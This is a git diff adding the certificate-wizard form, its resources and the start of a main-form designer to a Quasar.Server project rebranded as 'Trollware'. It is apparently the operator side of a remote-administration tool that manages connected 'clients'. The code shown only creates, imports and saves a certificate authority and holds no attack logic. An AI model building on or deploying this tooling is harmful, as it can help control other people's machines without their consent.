AABVqv8DAAAAAD6l6Dk1qvPWNrv//ymy+/4eqPX9PLLz+3bH7/6i2fD+tuHw/rXf7v6c0+3+brvq/jOf + 6/sZkur9JZjv/jCb9P8wi+DPOorZMAAAAABVqv8DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAVar/AwAAAAA6nutPNKXy9TCt+v8eofD8PKnu/qTV6//l7O3/2tTs/7Wr4/+akt7/m5Pd/7eu + 4f/b1On/3uXn/5TD4v8wkuP9Gofi/CyP6v8uht/wNX3QRwAAAAAAqqoDAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAFWqqgMAAAAAPZbgQjSe8PYuofH/HZrt/GW06P/j6OX/xLzt/1dVzv8YF7L/Cgiz/wAA + sf8BAK//CQas/xoZrP9fXMv/ysHn/9fe3/9Tmt3/GH/e/CmG4f8ugtrwN4HMNwAAAAB/f/8CAAAAAAAA + AAAAAAAAAAAAAAAAAAAA//8BAAAAAEWW3BY2nO3ZMJ7x/x2U6vxxs+T/6+bj/3t43/8JCob/AAAi/wEB + Q/8CAZD/AgKj/wICof8BAYj/AQE5/wAAJP8NDoj/iITa/+Xh3P9dm9n/GHvb/CyE4P8ygdfRRIi7DwAA + AAAAAP8BAAAAAAAAAAAAAAAAAAAAAAD//wIAAAAAPJzpjzWi9v8glOn7V6fj/+bi3/9jYdf/AABZ/wIC + Bv8DAw3/AgIN/wICJP8CAjv/AgI6/wICIv8CAgz/AwMM/wEBB/8AAFz/dHDT/+Dd2f9Fjdf/HXvZ+zCH + 4/83gtWBAAAAAABVqgMAAAAAAAAAAAAAAAAAf38CAAAAAFCn8CM4oOzvLZvr/yqX5/7H193/ioba/wAA + XP8EBAD/AwMH/wAABv8AABD/AAAU/wAAF/8AABb/AAAU/wAAD/8AAAX/AwMH/wICAP8AAGX/npbY/7bI + 1P8ffNj+KYLb/zOD2OhEidcaAAAAAAD//wEAAAAAAAAAAFWq/wMAAAAAP6bweTio+P8lnOz8Vq/o/9rX + 5f8hIaj/AAAG/wICGf8AAE//CQqF/yYmq/9GRr3/R0i+/0lJvf9DQrb/ISGh/wcIfP8AAEf/AgIT/wAA + Df80M7P/2dXa/z6N2P8igNr8Mori/zqK120AAAAAP3+/BAAAAAAAAP8BAAAAAAAAAAA7pOzCM6r2/yml + 7/1Js+//6ejs/1RSzf8EB4//ODW+/4d/5v/JvvL/4t/t/46Q1f9CRMn/SUrJ/5STzf/Sytr/u67j/3lw + 2f8vK63/AwWK/2Vgx//Y1tn/M4zc/yWF3fwwjeT/OIvbswAAAAAAAP8BAAAAAAD//wEAAAAAVbTpGDen + 7vAwrPP/MbHz/imx9v+V1vP/9+zz/9zS+v/n9P//4fz8/6ji8v9hk+r/FxPW/wwM0/8LC9H/GhnM/1uB + 0v+lzuP/2e3w/9nf8P/PweT/5tnb/3at3P8giuH/K4vf/i6L4P83jdvnVZnuDwAAAAAA//8Bf///AgAA + AABDqug5NK7w/TG09f8xuff+Mr36/y+8+f9u1f3/ld/2/8WHh/92d5//IL7//yVb+P8dE/T/IiPu/yIi + 5v8eFNn/Hlfg/xuk9f+EY4r/uXqF/4K+4/9Xp+P/JZHk/yyU5f8skOL+Lo/h/zaQ3/k/kNwsAAAAAAB/ + /wJVqv8DAAAAADeq6E4ztvf/Mbz3/jPB+/80xPz/OMr//yi69v+JdZD/63dn/+htZP9tean/P3j//1ZE + //9FQP//QDj9/0Ip8P81dO7/gXma/+tpXv/ibGH/eGiS/yGU6P8ynej/L5jm/y6U5P4ukuL/M5De/ziJ + 1j8AAAAAVVWqA1Wq/wMAAAAAO67sUja/+/80xPv+Nsn+/znN//8vzP//ibPT///i3P/t+f7/7/T3/+LB + 0P9Zh+L/fYz//2ZP/v9ONP//TmD//2qb2v/qx8n/3+To/9vf4f/rxb//c5fG/y6g7P81oOn/MZrm/jGW + 5P8ykeD/M4nXQQAAAAB/f/8CVaqqAwAAAABNuetCQ8f7/z3N//8/0f/+PNX//0/O+P/v8vb/6uvq/2Fe + Yf9UU1n/4dze/7zL8f9Htvr/V6T//1Cf//9Pvfr/1N/w/9XR0v9QTlL/Ylxd/9zU0P/Rz9f/RqPk/z6r + 7v89pOn+O5/o/zeW4v05i9g1AAAAAH9//wIA//8BAAAAACU3h6Jjzfz/Udj//VDZ/v9C2f//et76//// + //+sqqn/OTQz/zw2Nv+gmJn/+vv//1zO+P9c4///WuD//3HV+v//////lI2N/zYsK/87MCz/qp+d//ft + 6/9psuP/S7b0/0+w7f9Oruz9RJng/xoldJwAAAAAAAD/AQAAAAAUGIFJEBGT/3i67v5x5P//Xt3+/1fg + /v965P3//////+Ph4P+BeHT/eGpm/9zU0f/s/v//Z939/2bf//9j3f//ct3+//n////Uysf/YE5I/2VR + Sv/az8v/8erp/27B7/9dwff/Yrnw/23A8/5Oi87/DQ5x/xsed0IAAAAAAAAAABYZnp4KB7r/ZYvm+5r0 + //9x4P7/dOr//27s/v/R9f7///////Lz9f/s8fL///78/6zp+v9g5f//auX//2nj//9g4P//vur5//// + /P/j4+P/5eXm///59P+62uv/Yc7+/2rG+P9zvvH/h8/3/0VowvsLB4z/FxyClwAAAAAzM5kFFxm30RgT + 0v89Teb9pen//4/u//+S2Oz/acjl/4Py///r5t7///Dk///r2f/R1Mz/Z+X9/2Xo//9o5v//aOX//2Lj + //9s3Pv/3s3C///h0f//28r/1sXD/2XS//9krd3/eLPh/4TM+P+HwvH/KjXG/RgUsv8XGpHKVVVVAyQk + ow4cHMnpKCbk/0M77f6Gufn/ovn//8PY0P+8fXP/Sc/4/4n3/v/v0aX/372R/23k9P9g7P//Zen+/2Xp + //9j5///Y+T+/1nj//9t0+v/6JVo/9qUdf9bzfn/Qavs/9FqWv+dts//jdn//2uQ5v80Ktn+JiPQ/xwc + pOIZGWYKPz+/ECUk1+w3Mu7/Y1Xz/niF+v+V5P7/rvn//+u9nf+gZ2v/Uoy6/2yhyP9v4PL/ZfH//2Tr + //9h7P//Yen//2Do//9d5v//W+H+/1Pk//9r0er/XpDA/0dmpf+wSkv/0puO/4XX//9/vfH/aGfr/1dH + 5/4zLd3/IyCz5hkZfwpmZuUKMjDi40E68/9oXvX+e2z5/3Ka/P+p9f//vfr//+LVvv/lo4X/zKWS/3jm + +P9u8P//Ze3//2Ds//9c6///Wej//1fm//9W4/7/VuH//2zY9P/NkHz/2IBp/7+xrv+M2f7/idH4/2h9 + 7/90YPH/XFDq/T004v8sJ8DbHx9/CP///wQ+O+jNPTf2/1xS9PtqX/j9V0r2/neW9/7L///+uP///a7/ + //2c+///gvL//3Hv//9o7v//X+3//1rq//9W6P//Vef//1bk//9a4f//ZeD//3Xk//985P/9i+b//avk + /P5mfu7+Vkbv/mRX8P1SR+n7PjTj/zItwcZ/fwACAAAAAEBA5649Nvz/VUb8/FVH+/9KPvP/Nyvp/3F/ + 7v/K8v//xf7//6Ty/f6K8P/7du7//mrt//5i7P//W+v//1fo//9X5v//W+T//mPi//1u4P38gd///qbs + //+23f7/Z3Do/zcr4v9IO+z/UEHz/00/8/w9M+f/NS6+pgAAAAAAAAAAbGrrhGBT7/9uWvDCbFvwzFxO + 6uBJPt/oMyPW5Ghm4cjQ9P3Eyfr//rz///+a9v//gu///3Dr//5m6f78Yef+/GXk//5y5v//h+r//6f1 + //+37P39xub8wmxm4co2KdLlRTjX6E8/3+BcS+TMcl7uxF1P5f9QQ8l8AAAAAAAAAADYzP8U07j/HQAA + AAD///8E////CsSw6w2/v+kMf3//BP///wLd9/9E0vj/oMn0/eO89P/9s/n//6z7//+p+f//rPP//7Tv + /vzA7/7gzPD/m97y/j8AAAAAmZn/BdSq/wywnOsN/8z/Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978 + /2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/ + /wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af// + /wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA + AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8= + + + \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmCertificate.Designer.cs b/Quasar.Server/Forms/FrmCertificate.Designer.cs new file mode 100644 index 0000000..e57a3e5 --- /dev/null +++ b/Quasar.Server/Forms/FrmCertificate.Designer.cs @@ -0,0 +1,159 @@ +namespace Quasar.Server.Forms +{ + partial class FrmCertificate + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmCertificate)); + this.lblInfo = new System.Windows.Forms.Label(); + this.btnCreate = new System.Windows.Forms.Button(); + this.lblDescription = new System.Windows.Forms.Label(); + this.txtDetails = new System.Windows.Forms.TextBox(); + this.btnImport = new System.Windows.Forms.Button(); + this.btnSave = new System.Windows.Forms.Button(); + this.label1 = new System.Windows.Forms.Label(); + this.btnExit = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblInfo + // + this.lblInfo.AutoSize = true; + this.lblInfo.Location = new System.Drawing.Point(12, 53); + this.lblInfo.Name = "lblInfo"; + this.lblInfo.Size = new System.Drawing.Size(130, 13); + this.lblInfo.TabIndex = 3; + this.lblInfo.Text = "(this might take a while)"; + // + // btnCreate + // + this.btnCreate.Location = new System.Drawing.Point(12, 27); + this.btnCreate.Name = "btnCreate"; + this.btnCreate.Size = new System.Drawing.Size(75, 23); + this.btnCreate.TabIndex = 1; + this.btnCreate.Text = "Create"; + this.btnCreate.UseVisualStyleBackColor = true; + this.btnCreate.Click += new System.EventHandler(this.btnCreate_Click); + // + // lblDescription + // + this.lblDescription.AutoSize = true; + this.lblDescription.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.lblDescription.Location = new System.Drawing.Point(9, 9); + this.lblDescription.Name = "lblDescription"; + this.lblDescription.Size = new System.Drawing.Size(493, 15); + this.lblDescription.TabIndex = 0; + this.lblDescription.Text = "To use Trollware create a new certificate or import an existing one from a previous" + + " installation."; + // + // txtDetails + // + this.txtDetails.Location = new System.Drawing.Point(12, 69); + this.txtDetails.Multiline = true; + this.txtDetails.Name = "txtDetails"; + this.txtDetails.ReadOnly = true; + this.txtDetails.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; + this.txtDetails.Size = new System.Drawing.Size(517, 230); + this.txtDetails.TabIndex = 4; + // + // btnImport + // + this.btnImport.Location = new System.Drawing.Point(93, 27); + this.btnImport.Name = "btnImport"; + this.btnImport.Size = new System.Drawing.Size(130, 23); + this.btnImport.TabIndex = 2; + this.btnImport.Text = "Browse && Import"; + this.btnImport.UseVisualStyleBackColor = true; + this.btnImport.Click += new System.EventHandler(this.btnImport_Click); + // + // btnSave + // + this.btnSave.Enabled = false; + this.btnSave.Location = new System.Drawing.Point(373, 305); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(75, 23); + this.btnSave.TabIndex = 6; + this.btnSave.Text = "Save"; + this.btnSave.UseVisualStyleBackColor = true; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label1.Location = new System.Drawing.Point(12, 310); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(355, 15); + this.label1.TabIndex = 5; + this.label1.Text = "KEEP THIS FILE SAFE! LOSS RESULTS IN LOOSING ALL CLIENTS!"; + // + // btnExit + // + this.btnExit.Location = new System.Drawing.Point(454, 306); + this.btnExit.Name = "btnExit"; + this.btnExit.Size = new System.Drawing.Size(75, 23); + this.btnExit.TabIndex = 7; + this.btnExit.Text = "Exit"; + this.btnExit.UseVisualStyleBackColor = true; + this.btnExit.Click += new System.EventHandler(this.btnExit_Click); + // + // FrmCertificate + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(541, 341); + this.Controls.Add(this.btnExit); + this.Controls.Add(this.label1); + this.Controls.Add(this.btnSave); + this.Controls.Add(this.lblDescription); + this.Controls.Add(this.txtDetails); + this.Controls.Add(this.lblInfo); + this.Controls.Add(this.btnImport); + this.Controls.Add(this.btnCreate); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmCertificate"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Trollware - Certificate Wizard"; + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + private System.Windows.Forms.Label lblDescription; + private System.Windows.Forms.Label lblInfo; + private System.Windows.Forms.Button btnCreate; + private System.Windows.Forms.TextBox txtDetails; + private System.Windows.Forms.Button btnImport; + private System.Windows.Forms.Button btnSave; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Button btnExit; + } +} diff --git a/Quasar.Server/Forms/FrmCertificate.cs b/Quasar.Server/Forms/FrmCertificate.cs new file mode 100644 index 0000000..68f61c2 --- /dev/null +++ b/Quasar.Server/Forms/FrmCertificate.cs @@ -0,0 +1,100 @@ +using Quasar.Server.Helper; +using System; +using System.Diagnostics; +using System.IO; +using System.Security.Cryptography.X509Certificates; +using System.Windows.Forms; +using Quasar.Server.Models; + +namespace Quasar.Server.Forms +{ + public partial class FrmCertificate : Form + { + private X509Certificate2 _certificate; + + public FrmCertificate() + { + InitializeComponent(); + } + + private void SetCertificate(X509Certificate2 certificate) + { + _certificate = certificate; + txtDetails.Text = _certificate.ToString(false); + btnSave.Enabled = true; + } + + private void btnCreate_Click(object sender, EventArgs e) + { + SetCertificate(CertificateHelper.CreateCertificateAuthority("Trollware Server CA", 4096)); + } + + private void btnImport_Click(object sender, EventArgs e) + { + using (var ofd = new OpenFileDialog()) + { + ofd.CheckFileExists = true; + ofd.Filter = "*.p12|*.p12"; + ofd.Multiselect = false; + ofd.InitialDirectory = Application.StartupPath; + if (ofd.ShowDialog(this) == DialogResult.OK) + { + try + { + SetCertificate(new X509Certificate2(ofd.FileName, "", X509KeyStorageFlags.Exportable)); + } + catch (Exception ex) + { + MessageBox.Show(this, $"Error importing the certificate:\n{ex.Message}", "Save error", + MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } + } + + private void btnSave_Click(object sender, EventArgs e) + { + try + { + if (_certificate == null) + throw new ArgumentNullException(); + + if (!_certificate.HasPrivateKey) + throw new ArgumentException(); + + File.WriteAllBytes(Settings.CertificatePath, _certificate.Export(X509ContentType.Pkcs12)); + + MessageBox.Show(this, + "Please backup the certificate now. Loss of the certificate results in loosing all clients!", + "Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information); + + string argument = "/select, \"" + Settings.CertificatePath + "\""; + Process.Start("explorer.exe", argument); + + this.DialogResult = DialogResult.OK; + } + catch (ArgumentNullException) + { + MessageBox.Show(this, "Please create or import a certificate first.", "Save error", + MessageBoxButtons.OK, MessageBoxIcon.Error); + } + catch (ArgumentException) + { + MessageBox.Show(this, + "The imported certificate has no associated private key. Please import a different certificate.", + "Save error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + catch (Exception) + { + MessageBox.Show(this, + "There was an error saving the certificate, please make sure you have write access to the Trollware directory.", + "Save error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + private void btnExit_Click(object sender, EventArgs e) + { + Environment.Exit(0); + } + } +} diff --git a/Quasar.Server/Forms/FrmCertificate.resx b/Quasar.Server/Forms/FrmCertificate.resx new file mode 100644 index 0000000..1af8dfb --- /dev/null +++ b/Quasar.Server/Forms/FrmCertificate.resx @@ -0,0 +1,197 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + 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 + 0v+lzuP/2e3w/9nf8P/PweT/5tnb/3at3P8giuH/K4vf/i6L4P83jdvnVZnuDwAAAAAA//8Bf///AgAA + AABDqug5NK7w/TG09f8xuff+Mr36/y+8+f9u1f3/ld/2/8WHh/92d5//IL7//yVb+P8dE/T/IiPu/yIi + 5v8eFNn/Hlfg/xuk9f+EY4r/uXqF/4K+4/9Xp+P/JZHk/yyU5f8skOL+Lo/h/zaQ3/k/kNwsAAAAAAB/ + /wJVqv8DAAAAADeq6E4ztvf/Mbz3/jPB+/80xPz/OMr//yi69v+JdZD/63dn/+htZP9tean/P3j//1ZE + //9FQP//QDj9/0Ip8P81dO7/gXma/+tpXv/ibGH/eGiS/yGU6P8ynej/L5jm/y6U5P4ukuL/M5De/ziJ + 1j8AAAAAVVWqA1Wq/wMAAAAAO67sUja/+/80xPv+Nsn+/znN//8vzP//ibPT///i3P/t+f7/7/T3/+LB + 0P9Zh+L/fYz//2ZP/v9ONP//TmD//2qb2v/qx8n/3+To/9vf4f/rxb//c5fG/y6g7P81oOn/MZrm/jGW + 5P8ykeD/M4nXQQAAAAB/f/8CVaqqAwAAAABNuetCQ8f7/z3N//8/0f/+PNX//0/O+P/v8vb/6uvq/2Fe + Yf9UU1n/4dze/7zL8f9Htvr/V6T//1Cf//9Pvfr/1N/w/9XR0v9QTlL/Ylxd/9zU0P/Rz9f/RqPk/z6r + 7v89pOn+O5/o/zeW4v05i9g1AAAAAH9//wIA//8BAAAAACU3h6Jjzfz/Udj//VDZ/v9C2f//et76//// + //+sqqn/OTQz/zw2Nv+gmJn/+vv//1zO+P9c4///WuD//3HV+v//////lI2N/zYsK/87MCz/qp+d//ft + 6/9psuP/S7b0/0+w7f9Oruz9RJng/xoldJwAAAAAAAD/AQAAAAAUGIFJEBGT/3i67v5x5P//Xt3+/1fg + /v965P3//////+Ph4P+BeHT/eGpm/9zU0f/s/v//Z939/2bf//9j3f//ct3+//n////Uysf/YE5I/2VR + Sv/az8v/8erp/27B7/9dwff/Yrnw/23A8/5Oi87/DQ5x/xsed0IAAAAAAAAAABYZnp4KB7r/ZYvm+5r0 + //9x4P7/dOr//27s/v/R9f7///////Lz9f/s8fL///78/6zp+v9g5f//auX//2nj//9g4P//vur5//// + /P/j4+P/5eXm///59P+62uv/Yc7+/2rG+P9zvvH/h8/3/0VowvsLB4z/FxyClwAAAAAzM5kFFxm30RgT + 0v89Teb9pen//4/u//+S2Oz/acjl/4Py///r5t7///Dk///r2f/R1Mz/Z+X9/2Xo//9o5v//aOX//2Lj + //9s3Pv/3s3C///h0f//28r/1sXD/2XS//9krd3/eLPh/4TM+P+HwvH/KjXG/RgUsv8XGpHKVVVVAyQk + ow4cHMnpKCbk/0M77f6Gufn/ovn//8PY0P+8fXP/Sc/4/4n3/v/v0aX/372R/23k9P9g7P//Zen+/2Xp + //9j5///Y+T+/1nj//9t0+v/6JVo/9qUdf9bzfn/Qavs/9FqWv+dts//jdn//2uQ5v80Ktn+JiPQ/xwc + pOIZGWYKPz+/ECUk1+w3Mu7/Y1Xz/niF+v+V5P7/rvn//+u9nf+gZ2v/Uoy6/2yhyP9v4PL/ZfH//2Tr + //9h7P//Yen//2Do//9d5v//W+H+/1Pk//9r0er/XpDA/0dmpf+wSkv/0puO/4XX//9/vfH/aGfr/1dH + 5/4zLd3/IyCz5hkZfwpmZuUKMjDi40E68/9oXvX+e2z5/3Ka/P+p9f//vfr//+LVvv/lo4X/zKWS/3jm + +P9u8P//Ze3//2Ds//9c6///Wej//1fm//9W4/7/VuH//2zY9P/NkHz/2IBp/7+xrv+M2f7/idH4/2h9 + 7/90YPH/XFDq/T004v8sJ8DbHx9/CP///wQ+O+jNPTf2/1xS9PtqX/j9V0r2/neW9/7L///+uP///a7/ + //2c+///gvL//3Hv//9o7v//X+3//1rq//9W6P//Vef//1bk//9a4f//ZeD//3Xk//985P/9i+b//avk + /P5mfu7+Vkbv/mRX8P1SR+n7PjTj/zItwcZ/fwACAAAAAEBA5649Nvz/VUb8/FVH+/9KPvP/Nyvp/3F/ + 7v/K8v//xf7//6Ty/f6K8P/7du7//mrt//5i7P//W+v//1fo//9X5v//W+T//mPi//1u4P38gd///qbs + //+23f7/Z3Do/zcr4v9IO+z/UEHz/00/8/w9M+f/NS6+pgAAAAAAAAAAbGrrhGBT7/9uWvDCbFvwzFxO + 6uBJPt/oMyPW5Ghm4cjQ9P3Eyfr//rz///+a9v//gu///3Dr//5m6f78Yef+/GXk//5y5v//h+r//6f1 + //+37P39xub8wmxm4co2KdLlRTjX6E8/3+BcS+TMcl7uxF1P5f9QQ8l8AAAAAAAAAADYzP8U07j/HQAA + AAD///8E////CsSw6w2/v+kMf3//BP///wLd9/9E0vj/oMn0/eO89P/9s/n//6z7//+p+f//rPP//7Tv + /vzA7/7gzPD/m97y/j8AAAAAmZn/BdSq/wywnOsN/8z/Cv///wMAAAAAxbT/H7ib/xIAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978 + /2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/ + /wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af// + /wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA + AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8= + + + \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmMain.Designer.cs b/Quasar.Server/Forms/FrmMain.Designer.cs new file mode 100644 index 0000000..a2fbdee --- /dev/null +++ b/Quasar.Server/Forms/FrmMain.Designer.cs @@ -0,0 +1,1132 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmMain + { + /// + /// Erforderliche Designervariable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Verwendete Ressourcen bereinigen. + /// + /// True, wenn verwaltete Ressourcen gelöscht werden sollen; andernfalls False. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Vom Windows Form-Designer generierter Code + + /// + /// Erforderliche Methode für die Designerunterstützung. + /// Der Inhalt der Methode darf nicht mit dem Code-Editor geändert werden. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmMain)); + 